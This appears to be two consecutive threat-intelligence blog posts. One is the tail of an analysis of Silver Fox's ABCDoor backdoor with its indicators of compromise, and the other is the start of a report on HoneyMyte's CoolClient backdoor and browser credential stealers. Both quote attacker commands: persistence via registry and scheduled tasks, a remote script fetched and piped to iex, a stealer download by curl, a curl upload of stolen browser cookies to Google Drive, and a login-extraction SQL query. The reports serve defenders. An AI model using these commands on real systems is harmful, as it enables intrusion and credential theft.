
The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

  1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
    "C:\Users\&lt;username&gt;\AppData\Local\appclient\python\pythonw.exe" -m appclient

    Persistence is established by executing the following command:
    cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"
  2. Task scheduler: The malware executes
    cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

  • MainManager: handles C2 connection and authorization (sending system metadata)
  • MessageManager: registers and executes message handlers
  • AutoStartManager: manages backdoor persistence
  • ClientManager: handles backdoor updates and removal
  • SystemInfoManager: collects data from the victim’s system, including screenshots
  • RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
  • FileManager: performs file system operations
  • KeyboardManager: emulates keyboard input
  • ProcessManager: manages system processes
  • ClipboardManager: exfiltrates clipboard contents to the C2
  • CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
  • Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)
Backdoor strings with characteristic names

Backdoor strings with characteristic names

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

  • Emulating a double click while broadcasting the victim’s screen
  • A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

  • Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
  • Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
  • Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version Compiled date (UTC) Key updates ABCDoor .pyd MD5 hash
121 2024.12.19 18:27:11 –  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
–  No OOP used
–  Registry persistence
5b998a5bc5ad1c550564294034d4a62c
143 2025.02.04 01:15:00 Client updates
–  Task scheduler persistence
–  OOP implementation (classes)
–  Clipboard management
–  Process management
–  Asymmetric file and directory encryption
c50c980d3f4b7ed970f083b0d37a6a6a
152 2025.04.01 15:39:36 –  DPAPI encryption functions
–  Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154 2025.05.09 13:36:24 –  Implementation of installation channels
–  Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156 2025.08.11 13:36:10 –  Retrieval and logging of initial installation time to the registry a543b96b0938de798dd4f683dd92a94a
157 2025.08.28 14:23:57 –  Use of DDA source in ffmpeg for monitor screen broadcasting fa08b243f12e31940b8b4b82d3498804
157 2025.09.23 11:38:17 –  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12) 13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

    • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
    • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
      powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

      This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

      • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
        • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
        • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
      • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
      • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
      • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

      • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
      • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
      • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
      • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
      • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
      • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

      • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
      • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
      • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
      • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
      • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

Icons of the SFX archives

Icons of the SFX archives

When executed, the SFX archive ran the following script:

SFX archive script

SFX archive script

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script

The run_direct.ps1 script

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

Decrypted configuration for the JS loader

Decrypted configuration for the JS loader

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns

27 January 2026 at 09:00

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename Description
Sang.exe Legitimate Sangfor application abused for DLL sideloading.
libngs.dll Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat Encrypted configuration file.
main.dat Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter Actions
No parameter ·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
  • CoolClient decrypts time.dat.
  • Adds new key to the Run registry for persistence mechanism.
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly created write.exe process.
  • Checks for service control manager (SCM) access.
  • Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
  • Installs a service named media_updaten and starts it.
  • If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
  • Bypasses UAC and performs privilege elevation.
  • Checks if the machine runs Windows 10 or a later version.
  • Impersonates svchost.exe process by spoofing PEB information.
  • Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
  • Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value Command category
CC BB AA FF Beaconing, status update, configuration.
CD BB AA FF Operational commands such as tunnelling, keylogging and file operations.
No magic value Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID Action
0x0 Send beacon connection
0x1 Update beacon timestamp
0x2 Enumerate active user sessions
0x3 Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID Action
0x0 Set up reverse tunnel connection
0x1 Send data through tunnel
0x2 Close tunnel connection
0x3 Set up reverse proxy
0x4 Shut down a specific socket
0x6 List files in a directory
0x7 Delete file
0x8 Set up keylogger
0x9 Terminate keylogger thread
0xA Get clipboard data
0xB Install clipboard and active windows monitor
0xC Turn off clipboard and active windows monitor
0xD Read and send file
0xE Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID Action
0x0 Enumerate services
0x1 / 0x4 Start or resume service
0x2 Stop service
0x3 Pause service
0x5 Create service
0x6 Delete service
0x7 Set service to start automatically at boot
0x8 Set service to be launched manually
0x9 Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID Action
0x0 List drives and network resources
0x1 List files in folder
0x2 Delete file or folder
0x3 Create new folder
0x4 Move file
0x5 Read file
0x6 Write data to file
0x7 Compress file or folder into ZIP archive
0x8 Execute file
0x9 Download and execute file using certutil
0xA Search for file
0xB Send search result
0xC Map network drive
0xD Set chunk size for file transfers
0xF Bulk copy or move
0x10 Get file metadata
0x11 Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant Targeted browser(s) Execution method MD5 hash
A Chrome Direct execution (PE32) 1A5A9C013CE1B65ABC75D809A25D36A7
B Edge Direct execution (PE32) E1B7EF0F3AC0A0A64F86E220F362B149
C Chromium-based browsers DLL side-loading DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte's saved login data stealer and LuminousMoth's cookie stealer

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

